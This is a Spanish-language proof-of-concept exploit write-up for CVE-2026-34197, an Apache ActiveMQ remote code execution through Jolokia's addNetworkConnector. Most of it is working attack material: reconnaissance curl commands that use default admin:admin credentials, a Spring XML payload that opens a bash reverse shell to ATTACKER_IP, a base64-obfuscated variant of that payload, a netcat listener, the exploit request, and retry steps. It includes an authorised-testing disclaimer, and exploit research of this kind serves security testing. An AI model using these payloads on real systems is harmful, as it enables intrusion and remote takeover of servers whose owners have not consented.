
Prueba de concepto de exploit para CVE-2026-34197, una RCE en Apache ActiveMQ a través de addNetworkConnector de Jolokia, con notas técnicas y payload de reverse shell.
addNetworkConnector RCEPrueba de concepto y notas técnicas para CVE-2026-34197, una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic accesible a través del puente JMX-HTTP de Jolokia.
conf/jolokia-access.xml) concede exec en todos los MBeans org.apache.activemq:*. Esto incluye Broker.addNetworkConnector(String), que acepta una URI de transporte vm:// cuyo parámetro de consulta brokerConfig el broker obtiene y analiza como un archivo de definición de beans Spring XML. Un bean cuya clase es con se instancia — y se inicia — como efecto secundario de que Spring resuelva el grafo de beans. No se requiere cadena de gadgets de deserialización.java.lang.ProcessBuilderinit-method="start"⚠️ Solo para pruebas autorizadas / investigación / uso en CTF. No lo ejecutes contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Confirma que exec es realmente accesible en el MBean del Broker:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) no acepta una URI vm://... simple — primero se analiza como una URI de agente de descubrimiento, y vm no es un esquema de descubrimiento registrado (DiscoveryAgent scheme NOT recognized: [vm]). Envuélvelo en static:(...), el esquema de descubrimiento estático de ActiveMQ, que pasa la URI vm:// interna sin modificar:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
El envoltorio <![CDATA[...]]> es necesario porque el one-liner de la reverse shell contiene &, que XML intentaría analizar de otro modo como el inicio de una referencia a entidad. Una opción equivalente sin escapes es codificar el comando en base64:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Sírvuelo:
python3 -m http.server 8000
Inicia un listener:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
La cabecera Origin importa. Si el jolokia-access.xml de esta versión tiene habilitada la aplicación de CORS (un bloque <cors></cors>, incluso vacío), Jolokia requiere un Origin/Referer bien formado en las solicitudes que cambian el estado. Omítelo y obtendrás una respuesta de política denegada que puede parecer que el sistema está parcheado cuando no lo está.
Una llamada exitosa devuelve:
{"value":"NC","status":200}
La llamada es ciega a través de HTTP — no hay cuerpo de respuesta que transporte la salida del comando — así que tu listener del paso anterior es lo que realmente captura la shell.
InstanceAlreadyExistsExceptionaddNetworkConnector(String) siempre registra el objeto JMX resultante bajo el nombre de conector NC, independientemente de la URI que pases. Este es un valor predeterminado codificado en el propio ActiveMQ, no algo derivado de la solicitud:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) nunca expone una forma de sobrescribirlo — no hay truco de nombre/parámetro de consulta que cambie el ObjectName registrado (probado manualmente: añadir ?name=whatever fuera del envoltorio static:(...) se ignora silenciosamente).
Consecuencia: la segunda llamada a addNetworkConnector — ya sea tu propio reintento después de un payload roto, o simplemente porque el conector ya está registrado de una ejecución exitosa anterior — falla:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
Esto no requiere reiniciar el broker para recuperarse. Broker también expone removeNetworkConnector(String) a través de la misma política de Jolokia (la concesión <allow operation="*"> en org.apache.activemq:* cubre todas las operaciones del broker, no solo esta). Limpia el conector obsoleto por nombre y reintenta:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
Una llamada exitosa devuelve {"value":true,"status":200}. Vuelve a ejecutar el paso 3 inmediatamente después — vuelve a registrar NC y dispara poc.xml de nuevo.
admin de Jolokia/consola, que no está relacionada con la cuenta del sistema operativo.addNetworkConnector no solo ejecuta el bean Spring una vez — deja un objeto de conector de red vivo registrado en el broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). Este es un artefacto duradero de la explotación, independiente de si el proceso generado persiste o no.NetworkBridgeConfiguration.java — fuente del valor predeterminado private String name = "NC";BrokerViewMBean.java — interfaz JMX de addNetworkConnector / removeNetworkConnectorNetworkConnector.javaDiscoveryNetworkConnector.java